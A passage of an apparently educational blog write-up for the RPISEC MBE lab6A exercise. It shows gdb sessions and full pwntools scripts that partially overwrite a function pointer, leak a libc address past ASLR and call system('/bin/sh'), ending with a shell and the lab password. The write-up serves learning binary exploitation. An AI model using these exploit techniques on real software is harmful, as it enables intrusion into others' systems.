0xb779f938 --&gt; 0xb77a0000 --&gt; 0x464c457f\r\n0024| 0xbfeac038 --&gt; 0x33 ('3')\r\n0028| 0xbfeac03c ('U' &lt;repeats 31 times&gt;, &quot;\\n&quot;, 'U' &lt;repeats 31 times&gt;, &quot;\\n is a AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAO\\n\\350\\300&quot;...)\r\n&#x5B;------------------------------------------------------------------------------]\r\nLegend: code, data, rodata, value\r\n\r\nBreakpoint 1, 0xb77a0d9d in main ()\r\ngdb-peda$ pattern offset $eax\r\n1732329803 found at offset: 90\r\n<\/pre>\n<p>For the description is used a pattern to calculate the offset from the description string to <code>sfunc<\/code> when inputting 32 byte (31 characters) for the username. This offset is <code>90<\/code> byte.<\/p>\n<p>Well, we can control the instruction pointer now, but where should we jump to? We do not know any absolute address, neither of a shared library, nor of the binary itself. Our ultimate goal is to spawn a shell. Because there is no <code>win<\/code> function within the binary and we cannot store and execute a shellcode in the stack (<code>NX<\/code> enabled), we should try to call <code>system(\"\/bin\/sh\")<\/code> from the libc. Before we can do that, we need the address of the libc. <code>sfunc<\/code> contains the absolute address of the function <code>print_listing<\/code>, which is at least a valid address of the binary. We can do a <i>Partial Overwrite<\/i> as we did in the last two levels in order to call another function of the binary. As we want to leak a libc address and thus have to somehow print something a suitable candidate might be the function <code>print_name<\/code>:<\/p>\n<pre class=\"brush: cpp; first-line: 69; title: ; notranslate\" title=\"\">\r\nvoid print_name(struct uinfo * info) {\r\n    printf(&quot;Username: %s\\n&quot;, info-&gt;name);\r\n}\r\n<\/pre>\n<p>At first we need to lookup the offset of the function. These are the two bytes we are going to overwrite:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\ngdb-peda$ p print_name\r\n$1 = {&lt;text variable, no debug info&gt;} 0xbe2 &lt;print_name&gt;\r\n<\/pre>\n<p><code>print_name<\/code> is located at offset <code>0xbe2<\/code>. Because in the two least significant bytes we are going to overwrite are still 4 randomized bits, I wrote a python-script which repetitively sets the two bytes to <code>0xbe2<\/code> and tries to call the function by choosing <code>View Info<\/code> until the call succeeds:<\/p>\n<pre class=\"brush: python; first-line: 0; title: ; notranslate\" title=\"\">\r\nlab6A@warzone:\/levels\/lab06$ cat \/tmp\/exploit_lab6A.py\r\nfrom pwn import *\r\n\r\ndef setupAccount(p, u, d):\r\n  p.sendline(&quot;1&quot;)\r\n  p.recvuntil(&quot;name: &quot;)\r\n  p.sendline(u)\r\n  p.recvuntil(&quot;description: &quot;)\r\n  p.sendline(d)\r\n  p.recvuntil(&quot;Choice: &quot;)\r\n  p.sendline(&quot;3&quot;)\r\n\r\n\r\nwhile True:\r\n\r\n  p = process(&quot;.\/lab6A&quot;)\r\n  p.recvuntil(&quot;Choice: &quot;)\r\n\r\n  # partially overwrite sfunc (print_name)\r\n  setupAccount(p, &quot;A&quot;*31, &quot;X&quot;*90+&quot;\\xe2\\x0b\\x00&quot;)\r\n\r\n  try:\r\n    ret = p.recv(400)\r\n    if (&quot;Username: &quot; in ret): break\r\n  except EOFError:\r\n    continue\r\n\r\nlog.info(&quot;Partial overwrite succeeded!&quot;)\r\n\r\nprint(ret)\r\np.interactive()\r\n<\/pre>\n<p>After a few attempts the function <code>print_name<\/code> gets successfully called:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nlab6A@warzone:\/levels\/lab06$ python \/tmp\/exploit_lab6A.py\r\n&#x5B;+] Starting program '.\/lab6A': Done\r\n&#x5B;+] Starting program '.\/lab6A': Done\r\n&#x5B;+] Starting program '.\/lab6A': Done\r\n&#x5B;+] Starting program '.\/lab6A': Done\r\n&#x5B;+] Starting program '.\/lab6A': Done\r\n&#x5B;+] Starting program '.\/lab6A': Done\r\n&#x5B;+] Starting program '.\/lab6A': Done\r\n&#x5B;+] Starting program '.\/lab6A': Done\r\n&#x5B;+] Starting program '.\/lab6A': Done\r\n&#x5B;+] Starting program '.\/lab6A': Done\r\n&#x5B;+] Starting program '.\/lab6A': Done\r\n&#x5B;+] Starting program '.\/lab6A': Done\r\n&#x5B;+] Starting program '.\/lab6A': Done\r\n&#x5B;*] Partial overwrite succeeded!\r\nUsername: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n is a XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\u2592\r\np\\xb7\r\nEnter Choice:\r\n&#x5B;*] Switching to interactive mode\r\n$\r\n<\/pre>\n<p>Did you notice the output? There is no terminating null-byte at the end of the username and thus the whole struct gets printed. Let's have a closer look at the output as a hexdump:<\/p>\n<pre class=\"brush: python; first-line: 28; highlight: [29]; title: ; notranslate\" title=\"\">\r\n...\r\nprint(hexdump(ret))\r\np.interactive()\r\n<\/pre>\n<p>And rerun the script:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nlab6A@warzone:\/levels\/lab06$ python \/tmp\/exploit_lab6A_2.py\r\n&#x5B;+] Starting program '.\/lab6A': Done\r\n...\r\n&#x5B;*] Partial overwrite succeeded!\r\n00000000  55 73 65 72  6e 61 6d 65  3a 20 41 41  41 41 41 41  \u2502User\u2502name\u2502: AA\u2502AAAA\u2502\r\n00000010  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  \u2502AAAA\u2502AAAA\u2502AAAA\u2502AAAA\u2502\r\n00000020  41 41 41 41  41 41 41 41  41 0a 41 41  41 41 41 41  \u2502AAAA\u2502AAAA\u2502A\u00b7AA\u2502AAAA\u2502\r\n00000030  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  \u2502AAAA\u2502AAAA\u2502AAAA\u2502AAAA\u2502\r\n00000040  41 41 41 41  41 41 41 41  41 0a 20 69  73 20 61 20  \u2502AAAA\u2502AAAA\u2502A\u00b7 i\u2502s a \u2502\r\n00000050  58 58 58 58  58 58 58 58  58 58 58 58  58 58 58 58  \u2502XXXX\u2502XXXX\u2502XXXX\u2502XXXX\u2502\r\n*\r\n000000a0  58 58 58 58  58 58 58 58  58 58 e2 0b  76 b7 d0 0d  \u2502XXXX\u2502XXXX\u2502XX\u00b7\u00b7\u2502v\u00b7\u00b7\u00b7\u2502\r\n000000b0  76 b7 0a 45  6e 74 65 72  20 43 68 6f  69 63 65 3a  \u2502v\u00b7\u00b7E\u2502nter\u2502 Cho\u2502ice:\u2502\r\n000000c0  20                                                  \u2502 \u2502\r\n000000c1\r\n&#x5B;*] Switching to interactive mode\r\n$\r\n<\/pre>\n<p>There are two addresses within the output: <code>0xb7760be2<\/code> at offset <code>0xaa<\/code> and <code>0xb7760dd0<\/code> at offset <code>0xae<\/code>.<\/p>\n<p>The first address is just the value of <code>sfunc<\/code>. We overwrote the least significant two bytes with <code>0x0be2<\/code>. The second address has also the same base address and is thus an address of the binary itself. Unfortunately that is not what we are looking for since we need a libc address.<\/p>\n<p>How can we leak more than this? Do you remember the following line from the function <code>setup_account<\/code>?<\/p>\n<pre class=\"brush: cpp; first-line: 66; title: ; notranslate\" title=\"\">\r\n    memcpy(user-&gt;desc + strlen(user-&gt;desc), temp, strlen(temp));\r\n<\/pre>\n<p>As we have already filled up <code>user->desc<\/code> and neither the <code>strncpy<\/code> call, nor the <code>strcat<\/code> call cause a null-byte in <code>user->desc<\/code>, a second call to <code>setup_account<\/code> overwrites the memory following the previous description:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab6A.png\" alt=\"\" width=\"1338\" height=\"642\" class=\"alignnone size-full wp-image-382\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab6A.png 1338w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab6A-300x144.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab6A-768x369.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab6A-1024x491.png 1024w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>This means that we can leak more bytes on the stack by calling <code>setup_account<\/code> again:<\/p>\n<pre class=\"brush: python; first-line: 28; highlight: [31,32]; title: ; notranslate\" title=\"\">\r\n...\r\nprint(hexdump(ret))\r\n\r\nsetupAccount(p, &quot;u&quot;, &quot;d&quot;)\r\nprint(hexdump(p.recv(400)))\r\np.interactive()\r\n<\/pre>\n<p>Rerunning the script:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [24]; title: ; notranslate\" title=\"\">\r\nlab6A@warzone:\/levels\/lab06$ python \/tmp\/exploit_lab6A_2.py\r\n&#x5B;+] Starting program '.\/lab6A': Done\r\n...\r\n&#x5B;*] Partial overwrite succeeded!\r\n00000000  55 73 65 72  6e 61 6d 65  3a 20 41 41  41 41 41 41  \u2502User\u2502name\u2502: AA\u2502AAAA\u2502\r\n00000010  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  \u2502AAAA\u2502AAAA\u2502AAAA\u2502AAAA\u2502\r\n00000020  41 41 41 41  41 41 41 41  41 0a 41 41  41 41 41 41  \u2502AAAA\u2502AAAA\u2502A\u00b7AA\u2502AAAA\u2502\r\n00000030  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  \u2502AAAA\u2502AAAA\u2502AAAA\u2502AAAA\u2502\r\n00000040  41 41 41 41  41 41 41 41  41 0a 20 69  73 20 61 20  \u2502AAAA\u2502AAAA\u2502A\u00b7 i\u2502s a \u2502\r\n00000050  58 58 58 58  58 58 58 58  58 58 58 58  58 58 58 58  \u2502XXXX\u2502XXXX\u2502XXXX\u2502XXXX\u2502\r\n*\r\n000000a0  58 58 58 58  58 58 58 58  58 58 e2 0b  7a b7 d0 0d  \u2502XXXX\u2502XXXX\u2502XX\u00b7\u00b7\u2502z\u00b7\u00b7\u00b7\u2502\r\n000000b0  7a b7 0a 45  6e 74 65 72  20 43 68 6f  69 63 65 3a  \u2502z\u00b7\u00b7E\u2502nter\u2502 Cho\u2502ice:\u2502\r\n000000c0  20                                                  \u2502 \u2502\r\n000000c1\r\n00000000  55 73 65 72  6e 61 6d 65  3a 20 75 0a  41 41 41 41  \u2502User\u2502name\u2502: u\u00b7\u2502AAAA\u2502\r\n00000010  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  \u2502AAAA\u2502AAAA\u2502AAAA\u2502AAAA\u2502\r\n00000020  41 41 41 41  41 41 41 41  41 0a 75 0a  41 41 41 41  \u2502AAAA\u2502AAAA\u2502A\u00b7u\u00b7\u2502AAAA\u2502\r\n00000030  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  \u2502AAAA\u2502AAAA\u2502AAAA\u2502AAAA\u2502\r\n00000040  41 41 41 41  41 41 41 41  41 0a 20 69  73 20 61 20  \u2502AAAA\u2502AAAA\u2502A\u00b7 i\u2502s a \u2502\r\n00000050  58 58 58 58  58 58 58 58  58 58 58 58  58 58 58 58  \u2502XXXX\u2502XXXX\u2502XXXX\u2502XXXX\u2502\r\n*\r\n000000a0  58 58 58 58  58 58 58 58  58 58 e2 0b  7a b7 d0 0d  \u2502XXXX\u2502XXXX\u2502XX\u00b7\u00b7\u2502z\u00b7\u00b7\u00b7\u2502\r\n000000b0  7a b7 20 69  73 20 61 20  64 0a 83 ca  5d b7 01 0a  \u2502z\u00b7 i\u2502s a \u2502d\u00b7\u00b7\u00b7\u2502]\u00b7\u00b7\u00b7\u2502\r\n000000c0  45 6e 74 65  72 20 43 68  6f 69 63 65  3a 20        \u2502Ente\u2502r Ch\u2502oice\u2502: \u2502\r\n000000ce\r\n&#x5B;*] Switching to interactive mode\r\n$\r\n<\/pre>\n<p>We leaked another address: <code>0xb75dca83<\/code> at offset <code>0xba<\/code> from the second output. This looks more interesting since it has not the same base address as the value of <code>sfunc<\/code> (<code>0xb77a0be2<\/code> in the above output).<\/p>\n<p>Let's use <code>gdb<\/code> do find out where this address is located. Again we can set a breakpoint on the call to <code>sfunc<\/code> since the struct is passed on the stack to the called function:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,3,18,28,29]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ b *main+398\r\nBreakpoint 1 at 0xd9d\r\ngdb-peda$ r\r\nStarting program: \/levels\/lab06\/lab6A\r\n.-------------------------------------------------.\r\n|  Welcome to l337-Bay                          + |\r\n|-------------------------------------------------|\r\n|1: Setup Account                                 |\r\n|2: Make Listing                                  |\r\n|3: View Info                                     |\r\n|4: Exit                                          |\r\n|-------------------------------------------------|\r\nEnter Choice: 3\r\n&#x5B;----------------------------------registers-----------------------------------]\r\nEAX: 0xb77c89e0 (&lt;print_listing&gt;:       push   ebp)\r\nEBX: 0xb77cb000 --&gt; 0x2ef8\r\nECX: 0xb77968a4 --&gt; 0x0\r\nEDX: 0xbfec24bc --&gt; 0x0\r\nESI: 0x0\r\nEDI: 0x0\r\nEBP: 0xbfec2568 --&gt; 0x0\r\nESP: 0xbfec24a0 --&gt; 0xbfec24bc --&gt; 0x0\r\nEIP: 0xb77c8d9d (&lt;main+398&gt;:    call   eax)\r\nEFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)\r\n&#x5B;-------------------------------------code-------------------------------------]\r\n   0xb77c8d8f &lt;main+384&gt;:       mov    eax,DWORD PTR &#x5B;esp+0xbc]\r\n   0xb77c8d96 &lt;main+391&gt;:       lea    edx,&#x5B;esp+0x1c]\r\n   0xb77c8d9a &lt;main+395&gt;:       mov    DWORD PTR &#x5B;esp],edx\r\n=&gt; 0xb77c8d9d &lt;main+398&gt;:       call   eax\r\n   0xb77c8d9f &lt;main+400&gt;:       lea    eax,&#x5B;esp+0x18]\r\n   0xb77c8da3 &lt;main+404&gt;:       movzx  edx,BYTE PTR &#x5B;eax]\r\n   0xb77c8da6 &lt;main+407&gt;:       lea    eax,&#x5B;ebx-0x1f13]\r\n   0xb77c8dac &lt;main+413&gt;:       movzx  eax,BYTE PTR &#x5B;eax]\r\nGuessed arguments:\r\narg&#x5B;0]: 0xbfec24bc --&gt; 0x0\r\n&#x5B;------------------------------------stack-------------------------------------]\r\n0000| 0xbfec24a0 --&gt; 0xbfec24bc --&gt; 0x0\r\n0004| 0xbfec24a4 --&gt; 0x2\r\n0008| 0xbfec24a8 --&gt; 0xb7795c20 --&gt; 0xfbad2288\r\n0012| 0xbfec24ac --&gt; 0x0\r\n0016| 0xbfec24b0 --&gt; 0xbfec2518 --&gt; 0x0\r\n0020| 0xbfec24b4 --&gt; 0xb77c7a94 --&gt; 0xb77a2b18 --&gt; 0xb77c7938 --&gt; 0xb77c8000 --&gt; 0x464c457f\r\n0024| 0xbfec24b8 --&gt; 0x33 ('3')\r\n0028| 0xbfec24bc --&gt; 0x0\r\n&#x5B;------------------------------------------------------------------------------]\r\nLegend: code, data, rodata, value\r\n\r\nBreakpoint 1, 0xb77c8d9d in main ()\r\n<\/pre>\n<p><code>edx<\/code> contains the address of the struct <code>merchant<\/code>. We are looking for the address which should be stored somewhere beneath the memory intended for the struct:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [14]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ x\/64xw $edx\r\n0xbfec24bc:     0x00000000      0x00000000      0x00000000      0x00000000\r\n0xbfec24cc:     0x00000000      0x00000000      0x00000000      0x00000000\r\n0xbfec24dc:     0x00000000      0x00000000      0x00000000      0x00000000\r\n0xbfec24ec:     0x00000000      0x00000000      0x00000000      0x00000000\r\n0xbfec24fc:     0x00000000      0x00000000      0x00000000      0x00000000\r\n0xbfec250c:     0x00000000      0x00000000      0x00000000      0x00000000\r\n0xbfec251c:     0xb761e273      0x00000000      0x00ca0000      0x00000001\r\n0xbfec252c:     0xb77c863d      0xb77c8819      0xb77cb000      0x00000001\r\n0xbfec253c:     0xb77c8e22      0x00000001      0xbfec2604      0xbfec260c\r\n0xbfec254c:     0xb761e42d      0xb77953c4      0xb77c7000      0xb77c8ddb\r\n0xbfec255c:     0xb77c89e0      0xb77c8dd0      0xb7795000      0x00000000\r\n0xbfec256c:     0xb7604a83      0x00000001      0xbfec2604      0xbfec260c\r\n0xbfec257c:     0xb77b4cea      0x00000001      0xbfec2604      0xbfec25a4\r\n0xbfec258c:     0xb77cb038      0xb77c83a0      0xb7795000      0x00000000\r\n0xbfec259c:     0x00000000      0x00000000      0xc6793fe6      0xdea75bf7\r\n0xbfec25ac:     0x00000000      0x00000000      0x00000000      0x00000001\r\n<\/pre>\n<p>Of course we have to keep in mind that the base addresses vary since ASLR is enabled. If we look out for the last two bytes the highlighted value matches the address we found. Let's have a look what stored there:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\ngdb-peda$ x\/xw 0xb7604a83\r\n0xb7604a83 &lt;__libc_start_main+243&gt;:     0xe8240489\r\n<\/pre>\n<p>Great! This address resides within the libc function <code>__libc_start_main<\/code> which probably called the binary's <code>main<\/code> function. We have successfully leaked a libc address. Now we only need to calculate the necessary offsets:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,7,21,22]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ i proc mappings\r\nprocess 24763\r\nMapped address spaces:\r\n\r\n        Start Addr   End Addr       Size     Offset objfile\r\n        0xb75ea000 0xb75eb000     0x1000        0x0\r\n        0xb75eb000 0xb7793000   0x1a8000        0x0 \/lib\/i386-linux-gnu\/libc-2.19.so\r\n        0xb7793000 0xb7795000     0x2000   0x1a8000 \/lib\/i386-linux-gnu\/libc-2.19.so\r\n        0xb7795000 0xb7796000     0x1000   0x1aa000 \/lib\/i386-linux-gnu\/libc-2.19.so\r\n        0xb7796000 0xb7799000     0x3000        0x0\r\n        0xb77a0000 0xb77a3000     0x3000        0x0\r\n        0xb77a3000 0xb77a4000     0x1000        0x0 &#x5B;vdso]\r\n        0xb77a4000 0xb77a6000     0x2000        0x0 &#x5B;vvar]\r\n        0xb77a6000 0xb77c6000    0x20000        0x0 \/lib\/i386-linux-gnu\/ld-2.19.so\r\n        0xb77c6000 0xb77c7000     0x1000    0x1f000 \/lib\/i386-linux-gnu\/ld-2.19.so\r\n        0xb77c7000 0xb77c8000     0x1000    0x20000 \/lib\/i386-linux-gnu\/ld-2.19.so\r\n        0xb77c8000 0xb77ca000     0x2000        0x0 \/levels\/lab06\/lab6A\r\n        0xb77ca000 0xb77cb000     0x1000     0x1000 \/levels\/lab06\/lab6A\r\n        0xb77cb000 0xb77cc000     0x1000     0x2000 \/levels\/lab06\/lab6A\r\n        0xbfea3000 0xbfec4000    0x21000        0x0 &#x5B;stack]\r\ngdb-peda$ p 0xb7604a83 - 0xb75eb000\r\n$2 = 0x19a83\r\n<\/pre>\n<p>We can view the base address of the libc loaded in <code>gdb<\/code> using the command <code>i proc mappings<\/code>. If we subtract the base address from the leaked address, we got the offset of the leaked address: <code>0x19a83<\/code>. With this offset we can calculate the base address of the libc when running the program with our python script.<\/p>\n<p>We also need the offset of the <code>system<\/code> function we want to call:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\ngdb-peda$ p system - 0xb75eb000\r\n$5 = (&lt;text variable, no debug info&gt; *) 0x40190\r\n<\/pre>\n<p>The offset of <code>system<\/code> is <code>0x40190<\/code>.<\/p>\n<p>We could also located the string <code>\"\/bin\/sh\"<\/code> within the libc, but in this case it is ever more easier: when the address at <code>sfunc<\/code> is called, the address of <code>merchant<\/code> is passed as the only argument:<\/p>\n<pre class=\"brush: cpp; first-line: 113; title: ; notranslate\" title=\"\">\r\n            ( (void (*) (struct uinfo *) ) merchant.sfunc) (&amp;merchant);\r\n<\/pre>\n<p>The struct <code>merchant<\/code> begins with the username. So we only have to set the username to <code>\"\/bin\/sh\"<\/code> and null-terminate the string, so that we will end up with the call <code>system(\"\/bin\/sh\")<\/code>.<\/p>\n<p>Now we can construct our final exploit-script:<\/p>\n<pre class=\"brush: python; first-line: 0; highlight: [41]; title: ; notranslate\" title=\"\">\r\nlab6A@warzone:\/levels\/lab06$ cat \/tmp\/exploit_lab6A.py\r\nfrom pwn import *\r\n\r\ndef setupAccount(p, u, d):\r\n  p.sendline(&quot;1&quot;)\r\n  p.recvuntil(&quot;name: &quot;)\r\n  p.sendline(u)\r\n  p.recvuntil(&quot;description: &quot;)\r\n  p.sendline(d)\r\n  p.recvuntil(&quot;Choice: &quot;)\r\n  p.sendline(&quot;3&quot;)\r\n\r\n\r\nwhile True:\r\n\r\n  p = process(&quot;.\/lab6A&quot;)\r\n  p.recvuntil(&quot;Choice: &quot;)\r\n\r\n  # partially overwrite sfunc (print_name)\r\n  setupAccount(p, &quot;A&quot;*31, &quot;X&quot;*90+&quot;\\xe2\\x0b\\x00&quot;)\r\n\r\n  try:\r\n    ret = p.recv(400)\r\n    if (&quot;Username: &quot; in ret): break\r\n  except EOFError:\r\n    continue\r\n\r\nlog.info(&quot;Partial overwrite succeeded!&quot;)\r\n\r\n# leak libc address\r\nsetupAccount(p, &quot;u&quot;, &quot;d&quot;)\r\nret = p.recv(400)\r\nlibc_leak = ord(ret&#x5B;0xba]) + (ord(ret&#x5B;0xbb])&lt;&lt;8) + (ord(ret&#x5B;0xbc])&lt;&lt;16) + (ord(ret&#x5B;0xbd])&lt;&lt;24)\r\nlog.info(&quot;libc_leak: &quot; + hex(libc_leak))\r\n\r\n# pre-calculated offsets\r\nlibc_base   = libc_leak - 0x19a83\r\nlog.success(&quot;libc_base: &quot; + hex(libc_base))\r\naddr_system = libc_base + 0x40190\r\n\r\n# call system(&quot;\/bin\/sh&quot;))\r\nsetupAccount(p, 19*&quot;\/&quot;+&quot;\/bin\/sh\\x00&quot;, &quot;X&quot;*96+p32(addr_system))\r\np.interactive()\r\n<\/pre>\n<p>An important point is the terminating null-byte in the third call to <code>setupAccount<\/code> (line 41). Not only in order to terminate <code>\"\/bin\/sh\"<\/code> correctly, but also to prevent the <code>memcpy<\/code> call to append the new description after the old description. Otherwise <code>sfunc<\/code> would have not been overwritten.<\/p>\n<p>Now we just have to run the script:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nlab6A@warzone:\/levels\/lab06$ python \/tmp\/exploit_lab6A.py\r\n&#x5B;+] Starting program '.\/lab6A': Done\r\n...\r\n&#x5B;*] Partial overwrite succeeded!\r\n&#x5B;*] libc_leak: 0xb755ca83\r\n&#x5B;+] libc_base: 0xb7543000\r\n&#x5B;*] Switching to interactive mode\r\n$ whoami\r\nlab6end\r\n$ cat \/home\/lab6end\/.pass\r\neye_gu3ss_0n_@ll_mah_h0m3w3rk\r\n<\/pre>\n<p>Done! The final password for lab06 is <code>eye_gu3ss_0n_@ll_mah_h0m3w3rk<\/code>.<\/p>\n<hr \/>\n","protected":false},"excerpt":{"rendered":"<p>The previous lab focused on the subject of return oriented programming in order to circumvent data execution prevention. The next lab described in this writeup introduces ASLR. The single levels of this lab range from C to A: &#8211;&gt; lab6C &#8211;&gt; lab6B &#8211;&gt; lab6A Note: ASLR should be enabled by now.<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26,7],"tags":[8,9,13,10,11,12,14],"class_list":["post-378","post","type-post","status-publish","format-standard","hentry","category-rpisec-mbe","category-writeup","tag-assembly","tag-binary","tag-elf","tag-pwn","tag-r2","tag-reversing","tag-x86"],"_links":{"self":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/378"}],"collection":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=378"}],"version-history":[{"count":3,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/378\/revisions"}],"predecessor-version":[{"id":385,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/378\/revisions\/385"}],"wp:attachment":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=378"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=378"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=378"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}